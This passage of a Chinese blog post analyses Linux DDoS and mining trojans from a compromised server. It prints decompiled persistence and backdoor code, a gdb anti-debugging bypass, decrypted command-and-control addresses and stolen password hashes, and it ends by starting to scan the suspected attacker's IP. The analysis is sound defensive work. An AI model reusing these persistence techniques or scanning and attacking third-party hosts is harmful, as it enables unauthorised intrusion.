<p>目前这段字符串是加密的,解密算法好像很复杂,还没研究明白</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">88FD2FE8EF8D51263B037677FD30F25CBFEB57F759F711FB41956288A85E9655F54FCCD1ABAAE55CF8BFB033B8F30342EC9930E4DA755715E37BFDF38ACFCC52569DA683A2B3B87A5C571840486689B97D8E7660C3F644B1F7F00778DBDEDE4CFD0CBBB222FC42C8F8ECE125D09D98EC50E5CF8093CF81D9E4F67FBA1E6A90O963846C17933E3C078E1EC409C799C84741C04892CC25E69FED40664BC85B955BEE188A63C9A3909D187ADE7DB69A66F83878E56E2FDD7CD5866DC4AC41EFC7EE9785806DAC64C1953F6A22F99317337B9F0DF3E26C365A8075076FA258CE2F0D6AC63BD6783E2A27CEB2A2410BC80232BABE5FB2C015263E64E1BAE2369822F</span><br></pre></td></tr></table></figure>
<p>再来到MainBeikong,函数先会调用daemon创建一个后台进程。在daemon里,父进程会直接exit(0)退出,子进程会调用setsid(),setsid()调用成功后,返回新的会话的ID,调用setsid函数的进程成为新的会话的领头进程,并与其父进程的会话组和进程组脱离。此时子进程的父进程会变成1号进程。然后改变当前目录为“/“</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">MainBeikong</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line"> CSysTool *v1; <span class="comment">// eax</span></span><br><span class="line"> CUtility *v2; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span> *v3; <span class="comment">// eax</span></span><br><span class="line"> CSysTool *v4; <span class="comment">// eax</span></span><br><span class="line"> CSysTool *v5; <span class="comment">// eax</span></span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line"> result = daemon(<span class="number">1</span>, <span class="number">0</span>) >> <span class="number">31</span>;</span><br><span class="line"> <span class="keyword">if</span> ( !(_BYTE)result )</span><br><span class="line"> {</span><br><span class="line"> CSysTool::KillChaos(v19);</span><br><span class="line"> v1 = (CSysTool *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)&g_strML);</span><br><span class="line"> CSysTool::KillPid(v1, v10);</span><br><span class="line"> CSysTool::KillPid((CSysTool *)<span class="string">"/tmp/bill.lock"</span>, v11);</span><br><span class="line"> CFileOp::RemoveFile((CFileOp *)<span class="string">"/tmp/bill.lock"</span>, v12);</span><br><span class="line"> <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> __int8)CSysTool::KillGatesIfExist(v20) != <span class="number">1</span> )</span><br><span class="line"> MEMORY[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> ( g_iIsService == <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> v2 = (CUtility *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)&g_strSN);</span><br><span class="line"> CUtility::SetAutoStart(v2, (<span class="keyword">const</span> <span class="keyword">char</span> *)<span class="number">0x61</span>, v18);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( g_iDoBackdoor == <span class="number">1</span> && (<span class="keyword">unsigned</span> __int8)CUtility::IsRoot(v21) == <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> v3 = (<span class="keyword">const</span> <span class="keyword">char</span> *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)&g_strBDG);</span><br><span class="line"> CSysTool::GetBackDoorLockFile((CSysTool *)v25, v3);</span><br><span class="line"> v4 = (CSysTool *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)v25);</span><br><span class="line"> CSysTool::KillPid(v4, v14);</span><br><span class="line"> CSysTool::GetBackDoorLockFile((CSysTool *)v26, <span class="string">"udevd"</span>);</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span>::<span class="keyword">operator</span>=(v25, v26);</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span>::~<span class="built_in">string</span>((<span class="built_in">std</span>::<span class="built_in">string</span> *)v26);</span><br><span class="line"> v5 = (CSysTool *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)v25);</span><br><span class="line"> CSysTool::KillPid(v5, v15);</span><br><span class="line"> v6 = (CFileOp *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)v25);</span><br><span class="line"> CFileOp::RemoveFile(v6, v16);</span><br><span class="line"> v7 = (<span class="keyword">const</span> <span class="keyword">char</span> *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)&g_strBDG);</span><br><span class="line"> CSysTool::GetBackDoorFile((CSysTool *)v24, v7);</span><br><span class="line"> v8 = (CSysTool *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)v24);</span><br><span class="line"> CSysTool::ReleaseAndStartGates(v8, v17);</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span>::~<span class="built_in">string</span>((<span class="built_in">std</span>::<span class="built_in">string</span> *)v24);</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span>::~<span class="built_in">string</span>((<span class="built_in">std</span>::<span class="built_in">string</span> *)v25);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> __int8)CUtility::IsRoot(v21) )</span><br><span class="line"> {</span><br><span class="line"> CSysTool::SetBeikongPathfile(v22);</span><br><span class="line"> v9 = (CSysTool *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)&g_strMonitorFile);</span><br><span class="line"> CSysTool::ReleaseAndStartGates(v9, v13);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> CFileOp::RemoveFile((CFileOp *)<span class="string">"/tmp/notify.file"</span>, v13);</span><br><span class="line"> }</span><br><span class="line"> MainProcess();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">daemon</span><span class="params">(<span class="keyword">int</span> a1, <span class="keyword">int</span> a2)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> v2; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">....</span><br><span class="line"> v2 = fork();</span><br><span class="line"> <span class="keyword">if</span> ( v2 == <span class="number">-1</span> )</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">if</span> ( v2 )</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span> ( setsid() == <span class="number">-1</span> )</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">if</span> ( !a1 )</span><br><span class="line"> chdir(<span class="string">"/"</span>);</span><br><span class="line"> <span class="keyword">if</span> ( a2 )</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> v4 = _open_nocancel(<span class="string">"/dev/null"</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span> ( v4 == <span class="number">-1</span> || _fxstat64(<span class="number">3</span>, v4, &v7) )</span><br><span class="line"> {</span><br><span class="line"> v6 = sys_close(v4);</span><br><span class="line"> result = <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( (v7.st_mode & <span class="number">0xF000</span>) == <span class="number">0x2000</span> && v7.st_rdev == <span class="number">259</span> )</span><br><span class="line"> {</span><br><span class="line"> dup2(v4, <span class="number">0</span>);</span><br><span class="line"> dup2(v4, <span class="number">1</span>);</span><br><span class="line"> dup2(v4, <span class="number">2</span>);</span><br><span class="line"> <span class="keyword">if</span> ( v4 <= <span class="number">2</span> )</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> close(v4);</span><br><span class="line"> result = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> v5 = sys_close(v4);</span><br><span class="line"> __writegsdword(<span class="number">0xFFFFFFE8</span>, <span class="number">0x13</span>u);</span><br><span class="line"> result = <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>MainBeikong还会通过KillChaos来判断pid文件中的pid是否和当前运行的pid一致,如果不一致就杀掉当前进程,接着会调用RemoveFIle将文件/tmp/bill.lock移除,随后的KillGatesIfExist检测pid,SetAutoStart自启</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/eFQ5Sg6h1xrscOZ.png" alt="image-20211226203145883"></p>
<p>KillGatesIfExist也是进程检测,不同于之前的是这次会把pid写进去</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/URtnKcGJCmXbEWY.png" alt="image-20211226203445072"></p>
<p>SetAutoStart将木马加入了自启</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/8tbhmTH2Bx4AEcV.png" alt="image-20211226203642794"></p>
<p>分析MainBackdoor,先会去锁定后门木马程序,然后SetAutoStart函数将之加入开机启动</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">MainBackdoor</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span> *v0; <span class="comment">// eax</span></span><br><span class="line"> CSysTool *v1; <span class="comment">// eax</span></span><br><span class="line"> CSysTool *v2; <span class="comment">// eax</span></span><br><span class="line"> CUtility *v3; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span> *v4; <span class="comment">// [esp-Ch] [ebp-24h]</span></span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span> *v5; <span class="comment">// [esp-Ch] [ebp-24h]</span></span><br><span class="line"> <span class="keyword">int</span> *v6; <span class="comment">// [esp-8h] [ebp-20h]</span></span><br><span class="line"> <span class="keyword">char</span> v7[<span class="number">4</span>]; <span class="comment">// [esp+10h] [ebp-8h] BYREF</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ( daemon(<span class="number">1</span>, <span class="number">0</span>) >= <span class="number">0</span> )</span><br><span class="line"> {</span><br><span class="line"> v0 = (<span class="keyword">const</span> <span class="keyword">char</span> *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)&g_strBDG);</span><br><span class="line"> CSysTool::GetBackDoorLockFile((CSysTool *)v7, v0);</span><br><span class="line"> v1 = (CSysTool *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)v7);</span><br><span class="line"> <span class="keyword">if</span> ( !(<span class="keyword">unsigned</span> __int8)CSysTool::IsPidExist(v1, v4) )</span><br><span class="line"> {</span><br><span class="line"> v2 = (CSysTool *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)v7);</span><br><span class="line"> CSysTool::MarkPid(v2, g_iBackdoorLock, v6);</span><br><span class="line"> v3 = (CUtility *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str((<span class="built_in">std</span>::<span class="built_in">string</span> *)&g_strBDSN);</span><br><span class="line"> CUtility::SetAutoStart(v3, (<span class="keyword">const</span> <span class="keyword">char</span> *)<span class="number">0x63</span>);</span><br><span class="line"> CSysTool::HandleSystools((CSysTool *)&unk_8100D38, v5);</span><br><span class="line"> MainProcess();</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span>::~<span class="built_in">string</span>((<span class="built_in">std</span>::<span class="built_in">string</span> *)v7);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>再MainProcess里,有一个DNSCache的,此函数是用来更新DNS</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/4UeMPaCADRl8YgV.png" alt="image-20211226204046300"></p>
<p>更新函数CSysTool::DoUpdate中有一个”google”字符串的</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/X8N9DcGY1vK2g73.png" alt="image-20211226204248852"></p>
<p>再一个CStatBase::Initialize用来获取系统信息</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">CStatBase::Initialize</span><span class="params">(CStatBase *<span class="keyword">this</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> CStatBase::GetOs(<span class="keyword">this</span>);</span><br><span class="line"> CStatBase::GetCpuSpd(<span class="keyword">this</span>);</span><br><span class="line"> CStatBase::InitCpuUse(<span class="keyword">this</span>);</span><br><span class="line"> CStatBase::InitNetUse(<span class="keyword">this</span>);</span><br><span class="line"> CStatBase::GetMemSize(<span class="keyword">this</span>);</span><br><span class="line"> <span class="keyword">return</span> CStatBase::GetLocalDevicesInfo(<span class="keyword">this</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>分析完这些还是没能找到攻击者的一些信息,推测就是前面那一串字符串加密了,攻击者的信息应该存放在那段很长的字符串中,现在试试网络抓包的方式看看能不能找到攻击者的信息,现在自己的虚拟机上运行木马程序,果不其然中招了</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/W2TeE7HgFM3YNmC.png" alt="image-20211226191350027"></p>
<p>用wireshark抓包,出现了可疑的陌生域名gaopei.dnsm.xyz和601.dnsm.xyz,</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/sEQ8Vuzw173MO9T.png" alt="image-20211226191252186"></p>
<p>在main函数的开头,Ower6msf内是第一组解密数据的函数</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/ygUVxd8FbHoesnJ.png" alt="image-20220103142824187"></p>
<p>通过gdb可以直接调出来加密字符串解密后的内容</p>
<p>先对0x8077CF0(Ower6msf函数的地址)进行断点</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/breoYO9aWCQyS2n.png" alt="image-20220103143055378"></p>
<p>紧接着把加密字符串传入了寄存器</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/QjYB4afk1EPin5F.png" alt="image-20220103143203323"></p>
<p>接下来逐步对解密的地方逐一断点就行,字符串解密出来是”/usr/bin/.sshd:30000:1223123:772124:773152:4f58574098255d”</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/QvBILJmgiojAw1r.png" alt="image-20220103144223118"></p>
<p>上面解密出来的字符串会依次赋值给g_strMonitorFile、g_uHiddenPt、g_iFIleSize、g_iHardStart、g_iSoftStart、g_strDoFun对应值如下</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/DYsWNp65SQXgyUr.png" alt="image-20220103144136001"></p>
<p>接下来继续往下,发现有反gdb调试的</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/h8936lKfv14yjtB.png" alt="image-20220103144500856"></p>
<p>虽然反gdb调试,但就是个笑话,我们直接控制EIP跳过反调试函数就行了(都没必要patch)</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/se73qikh8VtRXlK.png" alt="image-20220103144834119"></p>
<p>先断点到0x8062716,然后set $eip=0x8062723,直接绕过反调试了</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/Q5YuAFcLDB9j7ZS.png" alt="image-20220103145001073"></p>
<p>接下来进入第二次解密函数Ikdfu94,解密出来的信息“115.231.218.64:8226:1:1:ssh4ckss:1”</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/zE5DnTJU3hckVyi.png" alt="image-20220103145810396"></p>
<p>域名也解密出来了</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/amJzCEVBNe53RwZ.png" alt="image-20220103150830270"></p>
<p>断点到0x80625b2处后发现木马逃跑了<img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/NDZg9YQLtnIXKPV.png" alt="image-20220103152908875"></p>
<p>在ida中分析逃跑的地址,发现刚开始运行的进程会在RunLinuxShell中创建一个子进程,然后子进程完成cp file /usr/bin/bsd-port/getty命令</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/qXY3KAFNraVnHdT.png" alt="image-20220103212217538"></p>
<p>总结:</p>
<p>Gatestype == 0时,执行MainMonitor,创建子进程并向<code>/tmp/moni.lod</code>文件写入进程号,读取并删除<code>/tmp/notify.file</code>文件,线程循环挂起一分钟。</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/qQPWlbsR3a2L8k9.png" alt="image-20220106140542757"></p>
<p>Gatestype == 1时,执行MainBeikong,</p>
<p>结束并删除<code>/tmp/moni.lod</code>进程。创建自启动项<code>/etc/init.d/DbSecuritySpt</code>,并写入<code>#!/bin/bash\n(filepath)\n</code>filepath为当前程序路径。创建自启动项<code>/etc/rc(1-5).d/S97DbSecuritySpt</code>,执行<code>ln -s /etc/init.d/DbSecuritySpt (filepath)</code>创建软链接。</p>
<p>判断当前<code>g_iDoBackdoor</code>的值以及当前进程是否为root用户创建,如果都为true,则结束<code>/usr/bin/bsd-port/getty.lock</code>进程和<code>/usr/bin/bsd-port/udevd.lock</code>进程,并删除第二个文件。并且命令执行拷贝进程文件于<code>/usr/bin/bsd-port/getty</code>。</p>
<p>如果是root执行的程序,则命令执行拷贝进程文件在<code>/usr/bin/.sshd</code>。</p>
<p>如果不是root执行的,则删除<code>/tmp/notify.file</code>。</p>
<p>最终执行<code>MainProcess</code>函数,删除进程路径下的update_temporary。在<code>/etc/resolv.conf</code>下添加DNS(8.8.8.8和8.8.4.4)。初始化conf.n和cmd.n文件,初始化计算机基本信息(cpu、os、net、内存和磁盘信息)。初始化330个DNS地址。读取/usr/lib/libamplify.so文件配置amp资源数据。</p>
<p>后面就是服务端根据受害者计算机返回的信息,初始化数据执行对应的DDOS攻击:</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/uUyHf9S8c54hwCz.png" alt="image-20220103221915025"></p>
<p>GatesType == 2时</p>
<p>判断是否存在<code>/usr/bin/bsd-port/getty.lock</code>后门文件,存在则写入进程号并创建<code>etc/init.d/selinux</code>和<code>/etc/rc(1-5).d/S99selinux</code>启动项文件,之后和上面创建启动项相同,不过项目换了一个,就不多说了。然后判断如果存在<code>Systools</code>中的文件,则复制到<code>/usr/bin/dpkgd/md</code>文件下生成netstat,lsof等文件,并设置0755权限,最后又执行了同上面一样的<code>MainProcess</code>函数。</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/Y6SL5k2wrDh4Kad.png" alt="image-20220103222025649"></p>
<p>GatesType == 3时</p>
<p>执行<code>MainSystool</code>函数。此函数主要调用上面所说的复制过去的netstat、lsof、ps等程序,而后过滤掉进程目录,服务端输出。</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/vNBpu8A53sxItXJ.png" alt="image-20220106140704691"></p>
<p>分析attack发现存在udp,进一步判断木马的攻击行为很可能是DDos攻击</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/t5fxviczpLlrako.png" alt="image-20220106141826387"></p>
<p>开机启动项木马攻击总结:此次攻击应该是先通过暴力破解huawei帐户密码,弱口令来植入木马,木马添加DbSecuritySpt服务到自启中,DbSecuritySpt是木马主程序,又有回传受控地址,但是木马程序中并没有直接的服务器域名或者是攻击者的ip,而是有一串非常长的字符串(加密了的),如果能破解出来应该就能知道攻击者的信息了,经过gdb逐步调试,到第二次解密函数前需要绕过反gdb调试,绕过后在gdb中可以看到攻击者的ip和域名(wireshark并没有抓到ip只有域名,域名已经过期无法解析,但是攻击者的域名解析ip隐藏在木马中被泄露)</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/uIaq34TKV5F8pNo.png" alt="image-20211226180045128"></p>
<p>对其他文件(木马)的分析,按照可疑时间揪出来另外两个木马程序,分别是sphp和spts,查看管理员权限用户:</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">root@ubuntu:/mnt<span class="comment"># awk -F: '$3==0{print $1}' etc/passwd</span></span><br><span class="line">root</span><br><span class="line">mysq1</span><br><span class="line">f1</span><br></pre></td></tr></table></figure>
<p>查看能远程登录的用户:</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">root@ubuntu:/mnt<span class="comment"># awk '/\$1|\$6/{print $1}' etc/shadow</span></span><br><span class="line">huawei:$6$JwPdv1QU<span class="variable">$jaYTZgzRES8I6H02D03KgfC9NQW5FuL0K</span>./q3.GPO6ebgpM/BmU/wWjl8ePdAlvXqrd03p6LcWbG9.S.PFJqv1:18957:0:99999:7:::</span><br><span class="line">mysq1:$1$mysq1<span class="variable">$dDX0</span>.Cns4QkH589JvATFI.:18904:0:99999:7:::</span><br><span class="line">f1:$6$.oQp1HQe<span class="variable">$RFmUfOrQ449leF16Vu287OWYg2Jy0PR2uxNGuUXsVBVT3</span>.mGK0oohPOxlgb.HAA9r/H0YDCM7E8ZRNeWaPw5t/:18957:0:99999:7:::</span><br></pre></td></tr></table></figure>
<p>查看可以,sphp木马文件加了一层upx的壳</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/qVxAwgDKnYa9kvr.png" alt="image-20211224145615037"></p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/dZQhMgSWz5kO1xB.png" alt="image-20211224180045212"></p>
<h2 id="沙箱检测:"><a href="#沙箱检测:" class="headerlink" title="沙箱检测:"></a>沙箱检测:</h2><p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/RflJ8hWzHYIF7OU.png" alt="image-20211226152330702"></p>
<p>这个木马加上了upx的壳</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/FjsNTIKYLe9Q83S.png" alt="image-20211226152409199"></p>
<p>45.77.67.13是一个德国的ip</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/aPLjA62JxdXvK1Y.png" alt="image-20211226152454729"></p>
<p>分析sbin,在时间点Oct 17时间,https和httpss修改过</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/SEdCswZayJLl2Yq.png" alt="image-20211226160702559"></p>
<p>查看httpss</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/L4xdq59jhDJ7eH3.png" alt="image-20211226160757330"></p>
<p>把https放到沙箱分析</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/RNOQEAx9ipbFMmG.png" alt="image-20211226161202879"></p>
<p>于此同时,还找到一个跟https连同工作的几个马,它们都是矿马,</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/vmktDYdPTqwfiUB.png" alt="image-20220106152338317"></p>
<p>其中需要分析shh木马,是一个加了upx的壳,需要先脱壳处理</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/TEnqRbJtdXi62Zy.png" alt="image-20220106152228756"></p>
<p>然后ida逆向出来发现有挖矿的账号登录操作</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/I7O5ouyLHgnPVG1.png" alt="image-20220106152440986"></p>
<h2 id="对可疑攻击者进行渗透"><a href="#对可疑攻击者进行渗透" class="headerlink" title="对可疑攻击者进行渗透"></a>对可疑攻击者进行渗透</h2><p>这里是对在DbSecuritySpt木马(用于DDos攻击的木马)中泄露的ip进行渗透,ip为115.231.218.64</p>
<p>端口扫描</p>
